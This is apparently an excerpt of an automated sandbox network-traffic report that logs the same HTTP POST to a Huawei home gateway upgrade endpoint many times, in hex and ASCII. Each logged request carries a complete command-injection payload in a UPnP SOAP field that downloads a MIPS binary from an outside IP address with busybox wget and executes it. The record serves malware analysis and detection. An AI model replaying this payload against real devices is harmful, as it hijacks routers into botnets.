76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
